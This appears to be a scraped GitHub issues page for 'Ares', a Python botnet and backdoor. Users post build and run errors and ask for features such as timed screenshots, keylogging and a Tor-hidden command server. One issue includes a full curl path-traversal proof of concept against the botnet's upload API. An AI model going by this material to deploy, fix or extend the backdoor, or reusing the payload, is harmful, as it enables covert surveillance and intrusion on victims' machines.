sweetsoftware / ares Goto Github PK
View Code? Open in Web Editor NEWPython botnet and backdoor
Python botnet and backdoor
Hey,
I was wondering if you could help me with an error message im getting.
C:\Users\Liam>L:\Ares-master\Ares-master\server\server.py
Traceback (most recent call last):
File "L:\Ares-master\Ares-master\server\server.py", line 282, in
main()
File "L:\Ares-master\Ares-master\server\server.py", line 269, in main
cherrypy.config.update("conf/server.conf")
File "C:\Python27\lib\cherrypy_cpconfig.py", line 158, in update
reprconf.Config.update(self, config)
File "C:\Python27\lib\cherrypy\lib\reprconf.py", line 160, in update
config = Parser().dict_from_file(config)
File "C:\Python27\lib\cherrypy\lib\reprconf.py", line 232, in dict_from_file
self.read(file)
File "C:\Python27\lib\cherrypy\lib\reprconf.py", line 202, in read
fp = open(filename)
IOError: [Errno 2] No such file or directory: 'conf/server.conf'
Thats the error message that pops up. I think it may have something to do with the cherrypy library but im not exactly experienced with python. I'm running windows 7 as well if that might be causing it not to work. I copied what it says in the cmd when i try running the server.py file. Before this it was saying something like error : no module named cherrypy, and i fixed that by putting cherrypy in my pythons library folder. So yeah any help you can give would be awesome.
Thanks,
Knil92
I have tried to install Ares On VPS. the server has successfully connected.
The machine is visible in List but I am not able to execute any commands.
agent executed on windows 10 (64 bit)
Server Installed on VPS (Ubuntu 16.04.02 64bit)
Python Version 2.7
Agent.py file complied to load the boat.
Please help
Updated version does not have the keylogger ? it will be great if you add this feature with proper function.
Regards
Scorpoin
Good to see it update, it will be great if screeshot feature become automate means it will take screen shot timely based manner. Like in every 30 second it will take screen shot and send back to server.
Looking forward to your kind response.
Regards
I have installed HTTP bot server and agent according to the guideline. However, whenever run agent.ext, it shows "agent return -1". Is there anything missing? Thanks
Hy I'm on a centos machine and i try to build the agent but i'm failing big time
190355 INFO: Building EXE from out00-EXE.toc completed successfully.
Traceback (most recent call last):
File "./builder.py", line 75, in
main()
File "./builder.py", line 71, in main
persist=args.persistent)
File "./builder.py", line 47, in build_agent
os.rename(agent_file, output)
OSError: [Errno 18] Invalid cross-device link
Hi,
When i try to run the agent i always get a "Fatal Error: Agent returned -1".
im using Python 2.7.11 and Windows 8.1 - compiled the agent using pyinstaller as described on the documentation.
Any known errors?
Dumb question but was goimg go use this for all my personal company computers .......ummm where is the settings.py i see the config.py for web ui but no settings.py to make exe files with im lost a bit of instruction please
/Ares/server# python server.py
Traceback (most recent call last):
File "server.py", line 282, in
main()
File "server.py", line 269, in main
cherrypy.config.update("conf/server.conf")
File "/usr/lib/python2.7/dist-packages/cherrypy/config.py", line 81, in update
for section, valueMap in updateMap.iteritems():
AttributeError: 'str' object has no attribute 'iteritems'
No error
Is it possible to execute powershell command thru Ares cmd ?
Hi,
I really appreciate your work , I've found that keylogging is not working not it shows in any option in CNC . Could you please fix this .
Thanks
Every once in a while the client (agent) seems to disconnect from the server and the server displays them as offline but then will reconnect after 20ish seconds, I will try and fix this by pinging the user every 10 seconds and I'll write back when I figure it out.
screenshot [PENDING...]
And blank output. Searched through all dirs. There is no screenshots at all.
With command upload same problem.
when I try and run the agent it says "This app cant run on your pc" :/
Server.py and agent.py erorr
Keylogger is not recognized in runcmd
keylogger start
'keylogger' is not recognized as an internal or external command,
operable program or batch file.
An login for the web/botinterface because if ist online and any body finds your ip than he has the full control
The agent is unable to upload a local file to the server with having spaces in between
I try to use it in python2 and python3. if i use ip 127.0.0.1 sever is running . but html has bad requests. if i change ip for my address in server.conf my server run and crash
Everything works. Your software is awesome to play with. =)
But I was wondering how to get the server to stay active after I exit my terminal session from ssh.
Similar to how starting up an Apache server will stay active unless the service is stopped.
Sorry, I'm not very familiar with running Python servers.
Hey there,
Loving the software, but it'd be great if there were better support for Linux. Currently, the screenshot option throws an error on Linux, since the PIL library is only meant for OS X & Windows, same with the DDoS module (requiring the PythonCOM library).
It makes sense to support Linux since so many potential "victim" devices run a Linux kernel, as are academic environments such as my cybersecurity class' environment.
Any support with this would be amazing.
I'm trying to make a WAN server configuration, but if the "server.conf" file gets some non LAN IP, it just make the server crash right after starting it.
Should it be a block made on purpose, or some configuration step that I forgot?
Greetings.
when running in cmd agent get this output:
Program is to big to fit in memory and client not connecting!
Hi everyone!
First of all, I added some modules to the agent, including the screenshot module which I think is cousing some errors. Agent.py runs fine as a python script, but when trying to compile it with pyinstaller I get the folowing output(cuted):
8875 INFO: Excluding import 'FixTk' 8875 INFO: Excluding import 'Tkinter' 8875 INFO: Excluding import 'PyQt5' 8875 WARNING: Removing import PIL.ImageQt from module PyQt5 8875 WARNING: Removing import PIL.ImageQt from module PyQt5.qRgba 8875 WARNING: Removing import PIL.ImageQt from module PyQt5.QPixmap 8875 WARNING: Removing import PIL.ImageQt from module PyQt5.QImage 8875 INFO: Excluding import 'PySide' 8875 WARNING: Removing import PIL.ImageQt from module PySide.QPixmap 8875 WARNING: Removing import PIL.ImageQt from module PySide.qRgba 8875 WARNING: Removing import PIL.ImageQt from module PySide 8875 WARNING: Removing import PIL.ImageQt from module PySide.QImage 8875 INFO: Excluding import 'PyQt4' 8875 WARNING: Removing import PIL.ImageQt from module PyQt4.qRgba 8875 WARNING: Removing import PIL.ImageQt from module PyQt4 8875 WARNING: Removing import PIL.ImageQt from module PyQt4.QImage 8875 WARNING: Removing import PIL.ImageQt from module PyQt4.QPixmap
The agent.exe fails with: Critical error: Failed to exec. script agent, if double clicked.
However if I remove --noconsole, and then run it inside the console, I get the folowing error:
Traceback (most recent call last): File "agent.py", line 16, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "modules\screenshot.py", line 1, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "PIL\ImageGrab.py", line 18, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "PIL\Image.py", line 67, in <module> File "C:\Python27\Lib\site-packages\PyInstaller\loader\pyimod03_importers.py", line 389, in load_module exec(bytecode, module.__dict__) File "PIL\_imaging.py", line 7, in <module> File "PIL\_imaging.py", line 6, in __bootstrap__ ImportError: DLL load failed: The specified module could not be found. Failed to execute script agent
So I'm not sure how to fix this....
Pls help! 🥇
P.S: after more testing today, I discovered that the agent runs fine if screenshot module is excluded.
I'm facing multiple instance (processes) of agent.exe in task bar , there are number of process running under agent.exe. Any one suggest me how do I fix this behavior.
Regards
Python is a native language on OSX so was just wondering if the agent.py would run on OSX, even from terminal? If not, Is support in for this feature in the pipeline?
Hello! I am on ubuntu xenial and when configuring wine, It gives me the message (when installing the requirements to wine)
valueerror illegal environment variable name
Any suggestions would be appreciated.
I can not use the download command to download files from the compromised system, the following message appears
download Documento_Secreto.txt
[*] Downloading Documento_Secreto.txt...
Traceback (most recent call last):
File "agent.exe.py", line 176, in download
File "site-packages\requests\api.py", line 72, in get
File "site-packages\requests\api.py", line 58, in request
File "site-packages\requests\sessions.py", line 494, in request
File "site-packages\requests\sessions.py", line 437, in prepare_request
File "site-packages\requests\models.py", line 305, in prepare
File "site-packages\requests\models.py", line 379, in prepare_url
MissingSchema: Invalid URL 'Documento_Secreto.txt': No schema supplied. Perhaps you meant http://Documento_Secreto.txt?
I have already searched the system and in the ares directory itself and can not find the file
Displays "The server encountered an unexpected condition which prevented it from fulfilling the request"
Hello, I make agent file use this commend.
./builder.py -p Windows --server http://192.168.20.107:8080 -o agent.exe
But, My windows 10 has been kill agent process.
Help me...
I get the error message when I start the server.py files. can you help me?
File ".\server.py", line 245
print "Unexpected file: %s" % src
I want linux machine on the line, how to do ?Use python agent.py install order, but I tried not。
Hey,
So I have the agent running on a computer and when I send the command screenshot, I get an error message Exception calling "CopyFromScreen" with "3" argument(s): "The handle is invalid" this keeps happening even after the computer has been restarted. Any ideas on how to fix?
good work , the code is easy to read simple and do it's job , now im developping it to work behind TOR hidden services in case the CnC is down
Is that possible to config server files in xampp or cpanel ?
if so please let me know the steps.
thanks <3
How do i save for it to continue running, or do I have to keep it open.
The upload API allows for creation of files on disk in arbitrary locations with arbitrary content.
Lines 93 to 109 in 140c05f
% curl -v -X 'POST' -H 'Content-Type: multipart/form-data; boundary=--------1058259938' --data-binary $'----------1058259938\x0d\x0aContent-Disposition: form-data; name=\"botid\"\x0d\x0a\x0d\x0a1\x0d\x0a----------1058259938\x0d\x0aContent-Disposition: form-data; name=\"src\"\x0d\x0a\x0d\x0a../../../../../../../../tmp/traversal\x0d\x0a----------1058259938\x0d\x0aContent-Disposition: form-data; name=\"uploaded\"; filename=\"uploaded\"\x0d\x0a\x0d\x0awin\x0d\x0a----------1058259938--\x0d\x0a' http://172.17.24.130:8080/api/upload
* Hostname was NOT found in DNS cache
* Trying 172.17.24.130...
* Connected to 172.17.24.130 (172.17.24.130) port 8080 (#0)
> POST /api/upload HTTP/1.1
> User-Agent: curl/7.38.0
> Host: 172.17.24.130:8080
> Accept: */*
> Content-Type: multipart/form-data; boundary=--------1058259938
> Content-Length: 303
>
* upload completely sent off: 303 out of 303 bytes
< HTTP/1.1 200 OK
< Date: Sun, 13 Dec 2015 07:16:29 GMT
< Content-Length: 125
< Content-Type: text/html;charset=utf-8
* Server CherryPy/3.5.0 is not blacklisted
< Server: CherryPy/3.5.0
<
* Connection #0 to host 172.17.24.130 left intact
Uploaded: <a href="../uploads/1/../../../../../../../../tmp/traversal">../uploads/1/../../../../../../../../tmp/traversal</a>
% cat /tmp/traversal
win
I specify the file path when I do the command: "upload C:/Users/Prox/Desktop/image.jpg"
But I get this error in the server:
[14/Aug/2016:00:00:10] HTTP
Traceback (most recent call last):
File "C:\Python27\lib\site-packages\cherrypy\_cprequest.py", line 670, in respond
response.body = self.handler()
File "C:\Python27\lib\site-packages\cherrypy\lib\encoding.py", line 220, in __call__
self.body = self.oldhandler(*args, **kwargs)
File "C:\Python27\lib\site-packages\cherrypy\_cpdispatch.py", line 60, in __call__
return self.callable(*self.args, **self.kwargs)
File "C:\Users\Prox\Desktop\server\server.py", line 289, in upload
outfile = open(save_path, 'wb')
IOError: [Errno 2] No such file or directory: u'uploads\\DESKTOP-GS3T472\\image.jpg'
Can you point me in the right direction?
Currently, the keylogging, screenshot, download & upload functions, as well as the DDoS capabilities are not documented anywhere, and are only found by digging through the source code. I will submit a pull request when I can, but in the meantime it'd be great to fully document all the features of this awesome project.
Thanks for your work on this.
Good Evening,
Trying to follow the instruction and run ./ares.py (server dir) i get the following error;
Traceback (most recent call last);
File "ares.py", line 15, in
from models import_db
File /home/_____/Tools/Ares/server/model.py". line 5, in
from flask_sqlalchemy import SQLAlchemy
ImportError: No module named flask_sqlalchemy
I tried to go in and install flask the latest version. I tried to review line (5) by opening the .py file in leafpad. I didnt see anything that was off. Any assistance would greatly be appreciated!!
This is not necessary
two import os in persistence.py
thanks for the good work, i wanna recommend making the cmd close after running, it remain opened and bad for pen-testing.
thanks
when i try to start ./ares.py initdb it give methe following error
Traceback (most recent call last):
File "./ares.py", line 19, in
from api import api
File "/root/Downloads/2-undetectable payload generators/windows/Ares/server/api/init.py", line 16, in
import pygeoip
ImportError: No module named pygeoip
can you help me please
Hey,
Just thought I would let you know that when I try to send the screenshot command from my phone, I get the following message;
Exception calling "UploadFile" with "2" argument(s): "The remote server returned an error: (403) Forbidden."
I'm connected to wifi through my phone and on the CnC but when I type screenshot to try and get a screenshot of the target pc I get that error message. When I go on the CnC on my laptop or desktop I dont get the error message, which is find kind of weird
I think this would be great in python 3. Most developers don't have Python 2 installed any more therefore the migration will be beneficial to some.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.